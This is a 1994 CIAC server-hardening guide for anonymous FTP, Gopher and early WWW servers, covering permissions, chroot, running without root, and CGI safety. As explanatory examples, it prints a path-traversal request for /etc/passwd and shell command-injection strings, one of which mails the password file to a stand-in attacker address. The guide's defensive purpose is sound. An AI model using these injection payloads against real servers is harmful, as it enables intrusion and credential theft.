CIAC 2308 Securing Internet Information Servers (html)
Securing Internet Information Servers
CIAC-2308 R.2
UCRL-MA-118453
by the Members of the CIAC Team
December, 1994
DISCLAIMER
This document was prepared as an account of work sponsored by an agency of
the United States Government. Neither the United States Government nor the
University of California nor any of their employees, makes any warranty,
express or implied, or assumes any legal liability or responsibility for the
accuracy, completeness, or usefulness of any information, apparatus, product,
or process disclosed, or represents that its use would not infringe privately
owned rights. Reference herein to any specific commercial products, process
or service by trade name, trademark, manufacturer, or otherwise, does not
necessarily constitute or imply its endorsement, recommendation, or favoring
by the United States Government or the University of California. The views
and opinions of authors expressed herein do not necessarily state or reflect
those of the United States Government or the University of California, and
shall not be used for advertising or product endorsement purposes.
Reference to any specific commercial product does not necessarily
constitute or imply its endorsement, recommendation or favoring by
CIAC, the University of California, the United States Department of
Energy, or the United States Government.
Work performed under the auspices of the U. S. Department of Energy by
Lawrence Livermore National Laboratory under Contract W-7405-Eng-48.
As the Internet rapidly becomes populated with increasingly easy-to-use
information servers (such as FTP, Gopher, and the World Wide Web (WWW)),
users around the world are distributing a staggering amount of data. The
information servers make it easy for users to provide information to
colleagues, friends, and the general public. Organizations, businesses, and
individuals are creating access to information that has never before been
available.
Information server technology certainly benefits users; however,
information providers should address several aspects of information sharing
to assure the security of the information they distribute. The need to secure
information servers is very real. For example:
The bulk of server software in use today, especially for newer
services such as Gopher and the WWW, was rapidly developed in a
research or university environment and has not undergone rigorous
security testing. These programs exhibit significant vulnerabilities
that will most likely continue.
Several of the server packages do not require privileged system
access for installation, thus allowing users to establish their own
information servers. While desirable, user installation may place
systems at risk if users do not establish proper server configuration.
The growth in both the size of the Internet and the number of
information servers has translated into a corresponding expansion in
the number of attacks on information servers.
As organizations and businesses begin to use the Internet to
advertise their capabilities and distribute their products, sensitive
data will increasingly become vulnerable to compromise and corruption.
Organizations have reported significant damage. In one case, an intruder
compromised the primary distribution server for a popular network software
package and installed a "back door" in the package. The back door allowed
intruders to easily compromise any site that installed the modified package.
Fortunately, the system administrators were carefully monitoring the
integrity of the distribution and the incident was discovered in less than 24
hours. Even so, users around the world had retrieved hundreds of copies, and
administrators had to notify each user of the problem.
Specific configuration recommendations for FTP, Gopher, and WWW servers
are presented in subsequent sections of this document. However, CIAC
recommends these general guidelines for establishing any type of information
server:
The information server should reside on a system dedicated
solely to information distribution, and only information to be
distributed should reside on this system. You should assume that any
information placed on the system will be available to the Internet
public, should your server software be compromised.
Servers should run with as little privilege as necessary. If at
all possible, server software should NOT run as "root," thus limiting
possible damage if an intruder discovers a vulnerability.
Whenever possible, server software should be executed in a
restricted file space ('chroot' environment in Unix), thus
restricting files to which the server has access and making it more
difficult for users to access unintended information.
System administrators should closely monitor the integrity of
the system and the information to be distributed. Cryptographic
"checksum" utilities, such as SPI and Tripwire,
can create system snapshots and notify administrators of unauthorized
modifications. Appendix A contains further
information about obtaining these packages.
The File Transfer Protocol, or FTP, is the basis for the oldest and most
common type of information server on the Internet, the anonymous FTP server.
Anonymous FTP servers allow unauthenticated access to a portion of a host's
file system. The server software allows remote users to retrieve files and
occasionally it allows file uploads or even more advanced operations, such as
index searches and file compression.
These servers are often used to distribute software packages and documents.
For example, this document is available from the anonymous FTP server
"ciac.llnl.gov".
Anonymous FTP servers exhibit several vulnerabilities. These are:
People on the Internet may use writable areas of an FTP file
system to exchange files. This is a common technique used by people to
trade copyrighted software and pornographic pictures.
Users may alter or delete information or software.
In the past, FTP software vulnerabilities have been found that
permitted complete access to the system's files. (CIAC Bulletin
E-17 discusses some of these.) These vulnerabilities have been
corrected; however, the possibility of new vulnerabilities in the
software, especially as new features are added, is very real.
Configuration errors may permit unintended access to sensitive
files. For example, a common mistake when setting up an anonymous FTP
server is to make a copy of the system password file in the area
available to remote users. If any local users have chosen weak
passwords, intruders may then use this password file to break into the
system.
CIAC recommends users consider the following guidelines when setting up an
FTP configuration:
No files or directories in the anonymous FTP area should be
"owned" by the user "ftp". This is the user ID of anonymous
users, and anything owned by it can be modified, replaced, or deleted
by any remote user on the Internet.
No encrypted passwords from the system password file
'/etc/passwd' should be present in the password file in the
anonymous FTP area '~ftp/etc/passwd'. Anyone on the
Internet can retrieve these encrypted passwords, and unauthorized
users can make attempts to decrypt them.
If at all possible, no directories or files should be writable
by anonymous users. On some systems, remote users find it helpful to
have an "incoming" directory available for depositing
files. Frequently, network intruders use these areas to store and
exchange illicit files, including copyrighted software and
pornographic pictures. If system administrators require this type of
directory, they should secure it as much as possible by using the
methods described in the following sections.
To create a new "ftp" user and group, you add entries to the system
password and group files '/etc/passwd' and '/etc/group', respectively. The
following guidelines are important:
The 'uid' and 'gid' numbers should be previously unused.
The password entry should specify a locked password (*)
and have no login shell '/bin/false'. This prevents unauthorized
logins by the FTP user.
The home directory specified in '/etc/passwd' will
become the root of the file system that is available to anonymous
users.
Examples of system password file and system group file additions are:
The FTP home directory '~ftp' and all lower-level information will be
available to anonymous users. The following guidelines are important:
The owner of the directory should be "root" and group
should be "ftp".
The user "ftp" must NOT be the owner of '~ftp'; this
configuration prevents anonymous users from adding or removing files.
The permissions of '~ftp' should be set to 555; this
allows read and execute access to all files but disallows writing to
files.
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp
| dr-xr-xr-x 8 root ftp 512 Jun 21 11:28 ftp
--------------------------------------------------------
3. Create the directory '~ftp/etc'.
The following guidelines are important in creating the '~ftp/etc'
directory:
The owner of the directory should be "root" and group
should be "ftp".
The permissions on the directory should be 111; this
allows remote users to access files in the directory but not list
their names.
The directory set-up looks like this:
--------------------------------------------------------
| prompt% ls -lgd ~ftp/etc
| dr--x--x--x 8 root ftp 512 Jun 21 11:30 etc
--------------------------------------------------------
The '~ftp/etc' directory should contain modified
versions of the system password and group files '/etc/passwd' and
'/etc/group'. The FTP server uses these files to display user and
group names when remote users list directory contents with the "DIR"
command.
Note: These modified files should
contain as little information as possible from the original password
and group files. In particular, the modified files should never
contain the encrypted password field for a user.
These examples show modified system password and group files:
Many SunOS commands, including 'ls', use shared libraries at runtime. You
will need to install the appropriate shared libraries in the anonymous FTP
area to allow these SunOS commands to work.
Follow these steps to install the SunOS libraries:
Create the directories '~ftp/usr' and '~ftp/usr/lib'.
The owner of the directories should be "root" and group
should be "ftp".
The permissions on the directories should be 555.
Copy '/usr/lib/ld.so' and the latest versions of '/usr/lib/libc.so.X.Y'
and '/usr/lib/libdl.so.X.Y' into '~ftp/usr/lib'. ("X" and "Y" are the
version numbers of the library.)
The owner of these directories should be "root" and group
should be "ftp".
The permissions on the directories should be 555.
Create a '~ftp/dev' directory.
The owner of the directory should be "root" and group
should be "ftp".
The permissions on the directory should be 111.
Create the zero device (required by the shared library loader) using the
following commands:
--------------------------------------------------------
| prompt% cd ~ftp/dev
| prompt% mknod zero c 3 12
--------------------------------------------------------
Network intruders often exploit directories that are writable by anonymous
users. If your server requires a writable area, configure it securely. The
following guidelines are important in creating a writable area directory:
The owner of the directory should be "root" and group should be
"ftp".
The permissions on the directory should be 1733.
This configuration will allow anonymous users to create new files in the
directory, but will not allow them to overwrite or delete existing files or
view the contents of the directory.
A sample incoming directory set-up looks like this:
Several replacement FTP servers available in the public domain provide
additional features to those typically found in standard vendor FTP server
software. Features that improve FTP server security are often available this
way. For example, the Washington University FTP server allows some commands,
such as "RENAME" or "DELETE," to be disabled for anonymous users. This server
also allows increased system-level control of the files uploaded by anonymous
users by limiting writable locations, file permissions, and allowed
filenames.
Appendix A provides additional information on the
sources and features of public domain FTP servers.
Gopher servers are newer to the Internet than FTP servers. Gopher servers
have several advantages over the FTP servers. These include:
Gopher servers provide greater flexibility in the types of
information that can be distributed. The information returned to
remote users can include links to information sources at other
Internet sites, gateways to other types of services (such as FTP and
Telnet servers), and even dynamic information generated by local
software and driven by remote user requests.
Gopher servers are easier to use than FTP servers. Most client
software includes some sort of graphical user interface and it usually
knows how to handle different types of files that a user
retrieves. For example, a typical program will automatically run a
display program when a graphic image is retrieved.
However, these advantages, combined with the relatively new development
stage of the software, create the potential for increased risk to the
machines and associated systems running gopher software.
Gopher servers exhibit several vulnerabilities. These include:
Under some circumstances, remote users can trick the gopher
server into retrieving any file on the system, including sensitive
system files such as '/etc/passwd'.
For example, some older gopher servers would accept requests
for the file '../../../../../../../etc/passwd', thus bypassing the
server software checks that normally restrict file access to files
contained in the gopher directory and instead returning the system
password file.
Remote users could then search for weak passwords and
compromise the entire system.
Remote users can possibly cause the gopher server to execute
arbitrary, undesired shell commands. Sometimes, gopher servers are
configured to execute programs on the server host; they will then pass
user-specified arguments to the program on the command line. On some
systems, the configuration of these arguments will cause additional
programs to be executed.
As an example, a gopher server is configured to call the
"finger" program with one user-supplied argument, i.e., the name of
the account to finger. If the user specified the account 'jane', the
gopher daemon would pass the string 'finger jane' to the Unix command
interpreter.
However, if the user supplied the account 'jane;cat
/etc/passwd', the server would pass the string 'finger jane;cat
/etc/passwd' to the system. Because the semi-colon is used to
separate multiple commands on the same line, the system would finger
'jane' AND display the contents of the system password file.
This section describes several configuration options that will limit the
vulnerability of your gopher system.
Run the most recent version of the gopher server
software. Currently, these versions are "gopher 1.13" (Gopher) and
"gopher 2.013" (Gopher+). CIAC believes these versions are free from
most of the vulnerabilities described in the previous section.
Do not use the '-c' command line option to the gopher daemon
("gopherd") program. Without '-c', the gopher server will perform a
'chroot()' system call when it starts up, thus making the gopher home
directory appear to the gopher server to be the root of the file
system. This configuration prevents the gopher server from accessing
any files outside the gopher home directory.
Note: If you use the '-c' option, any
vulnerability in the gopher software will allow an intruder to access
all files on the system.
Use the '-u' command line option to the "gopherd" program to specify an
alternate user name for runtime.
Note: If you do not use the '-u' option, the server will run
as the superuser, and any intruder able to compromise the
server software will have privileged access to the system.
Use the '-l' command line option to specify a file for a
transaction log. Regular examination of the log will alert you to
unusual or suspicious requests for the server. The log will also
provide a useful audit trail if you suspect your server has been
compromised.
An example of the '-l' command line option looks like this:
Do not use the same data directories for gopher and anonymous
FTP servers if the FTP server allows remote users to upload files.
Note: Using the same directories for gopher and anonymous
FTP servers can allow users to upload executable files
with FTP; users can then execute the files via gopher.
The most recent development on the Internet is the astonishing
proliferation of World Wide Web (WWW) information servers. These servers
offer many advantages, including:
WWW documents allow access via hypertext to thousands of
information sources and large amounts of data around the world.
WWW browsers such as NCSA Mosaic are graphical and easy to use.
These advantages have helped the WWW become the fastest growing
information service on the Internet. However, these advantages--in similar
fashion to those of gopher servers--combined with the new and untested nature
of the server software, introduce the potential for compromise of the server
and the information contained on it.
The principal network protocol used on the WWW is the HyperText Transfer
Protocol (HTTP), that allows access to documents using HyperText Mark-Up
Language (HTML). HTTP servers are available for many operating systems,
including Unix, VMS, Macintosh, and PC systems.
Server vulnerabilities vary from operating system to operating system.
However, two general areas of vulnerability potentially affect all WWW
servers. These are:
The server may allow access to files located outside the file
area designated for WWW access. Intruders may be able to trick some
HTTP servers into returning system files such as the password file
'/etc/passwd'.
Most HTTP servers support executable scripts (Common Gateway
Interface, or CGI, scripts) that compute information to be sent back
to remote users at the time of demand. THIS IS THE AREA OF GREATEST
VULNERABILITY FOR AN HTTP SERVER. The system often cues these scripts
using input from remote users; this information is generally supplied
via a fill-out form. If these scripts are not carefully written,
intruders can subvert the scripts to execute arbitrary commands on the
server system.
Several installation and configuration options are available that will
lessen the chances of your WWW server being subverted. Because versions of
HTTP servers are available for many operating systems, the configuration
solutions recommended in this section are presented in a general format.
Consult the documentation for your specific server to develop these
configurations in more detail.
This section describes several configuration options that will limit the
vulnerability of your WWW server.
Run the server daemon as a nonprivileged user (e.g., user
"nobody") rather than as user "root". Most server daemons can be
configured this way. Thus, if an intruder discovers a vulnerability in
the server, he or she can only access files and executable programs
with the privileges of a nonprivileged user.
For example, with the NCSA HTTP server, the following
configuration lines in the 'conf/httpd.conf' configuration instruct
the server to run with the access privileges of user "nobody" and
group "nogroup":
--------------------------------------------------------
| User nobody
| Group nogroup
--------------------------------------------------------
Most current HTTP servers implement a "Server Includes" or
"Server Parsed" feature. This feature allows the server to insert the
contents of specific files or the results of system commands in HTML
documents as they are sent to remote users. The "Server Includes" or
"Server Parsed" feature is often used to include standard disclaimers
or dynamic information such as modification dates or file sizes.
Note: To prevent access to sensitive files by intruders via
HTML, you can usually turn off the "include files"
feature for specific directories.
For example, the following configuration commands in the configuration
file 'conf/access.conf' instruct the NCSA HTTP server to disallow included
files in HTML documents found in user home directories under '/home':
Write server CGI scripts carefully. You must design these
scripts to handle user input cautiously. For example, if a server CGI
script instructed the server to execute the command 'searchindex' with
only one user-supplied command line option, e.g., '$ARG', the server
would likely issue the shell command:
If '$ARG' is set to 'computers;mail badguy@hack.edu
', the line sent to the shell would actually look like
this:
--------------------------------------------------------
| searchindex computers;mail badguy@hack.edu
Two commands would be executed:
As expected, the searchindex command would search for
the keyword "computers".
In the Unix shell, the ";" character is used to separate
commands. Thus, the server would then mail the system password file to
"badguy@hack.edu".
Note: To prevent CGI script compromise, avoid passing remote
user input directly to command interpreters such as Unix
shells, other interpreters such as Perl and AWK, or
programs that allow commands to be embedded in outgoing
messages, such as '/usr/ucb/mail'.
If user input must pass to these types of programs,
filter the input for potentially dangerous characters
before it is passed along. These characters include
the period (.), comma (,), slash (/), semi-colon (;),
tilde (~), and exclamation point (!).
Consider running HTTP servers in a restricted portion of the Unix file
system. Most Unix operating systems provide a 'chroot()' system call that
causes a program to view the specified directory as the root of the file
system.
This call would make the directory '/usr/local/httpd' appear as '/' to
the program. An intruder to this restricted file system would only have
access to files below this directory, thus significantly reducing potential
damage to the system.
To execute network daemons such as HTTP servers in this type of
restricted environment, you can use a public domain package called
'chrootuid'. The package is available via anonymous FTP from the address
"ftp://ftp.win.tue.nl/pub/security".
The author used the references listed below to develop the information
contained in this document.
DFN-CERT (1994). DSB-94:02 New Security Hold in gopherd and gopher.
Available via anonymous FTP from "ftp.informatik.uni-hamburg.de" in the
directory '/pub/security'.
Klaus, Christopher (1994). How to Set Up a Secure Anonymous FTP Site.
Available via anonymous FTP from "rtfm.mit.edu" in the file
'/pub/usenet-by-group/comp.security.unix/computer-security_anonymous-ftp_FAQ'.
Lindner, Paul (1994). Guide to Safe Gophering. Presented at
GopherCON 94. Available via Gopher at "boombox.micro.umn.edu".
U.S. Department of Energy, Computer Incident Advisory Capability (CIAC)
(1994). E-14 wuarchive ftpd Trojan Horse. Available via anonymous FTP from
"ciac.llnl.gov" in the directory '/pub/ciac/bulletin'.
The Washington University server is the most popular software replacement
for vendor supplied FTP daemons. The software has several additional features
that facilitate the handling of large numbers of anonymous FTP connections;
some of these features are also useful for enhancing the security of the
server.
Supported features include:
logging of transfers
logging of commands
on-the-fly compression and archiving of files and directories
classification of users by type and location
logon limits for each class of user
per directory upload permissions
directory and system messages
The Washington
University software is available via anonymous FTP from
"wuarchive.wustl.edu" in the directory '/packages/wuarchive-ftpd'.
The primary location for Gopher server
software is the anonymous FTP site "boombox.micro.umn.edu" in the
directory '/pub/gopher'. Servers are available for several platforms,
including Unix, Macintosh, and PC systems.
The CERN server provides a feature set very similar to the NCSA
daemon. In addition, it can be used as a WWW gateway for systems that
are behind firewalls.
This server is available for Unix and VMS systems via anonymous
FTP from "ftp.w3.org".
The GN Gopher/HTTP server supports both Gopher and WWW clients
simultaneously. The GN server provides access control on a per-document
rather than per-directory basis, resulting in potentially tighter control
over the distributed information.
The "chrootuid" package simplifies the task of running a program (such as
an information server) with restricted file system access and as a
nonprivileged user.
The software is available via anonymous FTP from "coast.cs.purdue.edu" in
the directory '/pub/tools/unix/chrootuid'.
The Security Profile Inspector (SPI) tool performs security assessments of
Unix and VMS-based systems, reporting system configuration vulnerabilities,
bad passwords, and violations of system file integrity. Of particular
interest to information server administrators, the SPI tool will maintain a
database of secure checksums for specified system directories and will alert
the administrator to any changes to the contents of those directories.
The Tripwire tool will monitor the integrity of a set of user-selected
files and directories on a Unix system. The tool will detect and report to
the system administrator any changes, additions, or deletions to these files.
Tripwire
is available via anonymous FTP from "coast.cs.purdue.edu" in the
directory '/pub/tools/unix/Tripwire'.
CIAC updates and enhances the documentation it produces. If you find errors
in or have suggestions to improve this document, please fill out this form.
Mail it to CIAC, Lawrence Livermore National Laboratory, P.O. Box 808, Mail
Stop L-303, Livermore, CA, 94551-9900. Thank you.
List errors you find here. Please include page numbers.
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
List suggestions for improvement here.
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
________________________________________________________________________
Optional:
Name _____________________________________________ Phone ______________
Securing Internet Information Servers CIAC-2308 R.2 December, 1994
